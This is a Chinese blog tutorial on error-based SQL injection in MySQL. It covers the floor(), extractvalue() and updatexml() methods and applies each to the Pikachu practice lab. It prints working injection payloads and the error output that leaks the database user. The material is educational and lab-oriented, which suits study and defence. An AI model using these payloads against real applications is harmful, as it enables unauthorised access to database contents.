SQL注入之报错注入
SQL注入之报错注入
一、报错注入原理
报错注入的原理基于应用程序在处理数据库查询时产生的错误信息。当应用程序执行一个含有恶意SQL代码的查询时,如果查询出错(例如,由于语法错误或权限不足),数据库系统通常会返回一个错误信息给应用程序。这个错误信息可能会包含有关数据库结构的敏感信息,如数据库名称、表名、列名等。攻击者可以利用这些信息来进一步构建更复杂的SQL注入攻击,以获取更多的数据库内容。
二、报错注入方法
报错注入的方法多种多样,常见的有以下几种:
① floor()报错注入
注:floor报错注入在MySQL版本8.0中已失效。
原理
通过concat
函数连接注入语句与floor(rand(0)*2)
函数,实现将注入结果与报错信息回显的注入方式。
常见语句
SELECT COUNT(*),CONCAT((SELECT USER()),FLOOR(RAND(0)*2)) AS a FROM information_schema.tables GROUP BY a;
-- 结果: ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
- floor函数:返回小于等于括号内该值的最大整数。
- rand函数:随机产生一个在0和1之间的小数。
rand(0)
中的0
是固定的随机数的种子0
,也就是说每次随机值是固定的;floor(rand(0)*2))
则会伪随机0或1。 - count函数:用于统计记录的数量
- group by:用于分组
为什么查询语句会报错ERROR 1062 (23000): Duplicate entry 'root@localhost1' for key 'group_key'
呢?
实际上该语句在查询过程中会产生虚拟表,在插入虚拟表的过程中,因为插入了一个重复的值,所以就会抛出主键冗余的异常。具体原因可查看Mysql报错注入之函数分析
② extractvalue()报错注入
注:extractvalue报错适用于MySQL 5.1.5+ 版本
原理
通过在extractvalue
函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据。
常见语句
SELECT EXTRACTVALUE(RAND(),CONCAT(0x7e,(SELECT USER()),0x7e));
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
- extractvalue函数:
extractvalue(xml_frag, xpath_expr)
,xml_frag
是XML片段,xpath_expr
是Xpath表达式。 - concat函数:字符串拼接函数。
③ updatexml()报错注入
注:updatexml报错适用于MySQL 5.1.5+ 版本
原理
通过在updatexml
函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
常见语句
SELECT UPDATEXML('x',CONCAT('~',(SELECT USER()),'~'),'x');
-- 结果: ERROR 1105 (HY000): XPATH syntax error: '~oot@localhost~'
- updatexml函数:
updatexml(xml_document, XPath_string, new_value)
,xml_document
是XML文档对象,XPath_string
是Xpath路径表达式,new_value
是更新后的内容。 - concat函数:字符串拼接函数。
④ 其他报错注入
除了上述常见的报错函数外,还有其他一些函数(如exp()
、join
等)也可以用于报错注入。这些函数在特定条件下可以触发数据库错误,从而泄露敏感信息。
三、报错注入实例
① floor()实例
在Pikachu中,进行实践。在输入框输入:1' union select count(*),1,concat((select user()),floor(rand(0)*2))as a from information_schema.tables group by a #
结果: Duplicate entry 'root@localhost1' for key 'group_key'
② extractvalue()实例
在Pikachu中,进行实践。在输入框输入:1' and (select extractvalue(rand(),concat(0x7e,(select user())))) #
结果: XPATH syntax error: '~root@localhost'
③ updatexml()实例
在Pikachu中,进行实践。在输入框输入:1' and updatexml('x',concat('~',(select user()),'~'),'x') #
结果: XPATH syntax error: '~root@localhost~'
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】凌霞软件回馈社区,博客园 & 1Panel & Halo 联合会员上线
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】博客园社区专享云产品让利特惠,阿里云新客6.5折上折
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 清华大学推出第四讲使用 DeepSeek + DeepResearch 让科研像聊天一样简单!
· 推荐几款开源且免费的 .NET MAUI 组件库
· 实操Deepseek接入个人知识库
· 易语言 —— 开山篇
· 【全网最全教程】使用最强DeepSeekR1+联网的火山引擎,没有生成长度限制,DeepSeek本体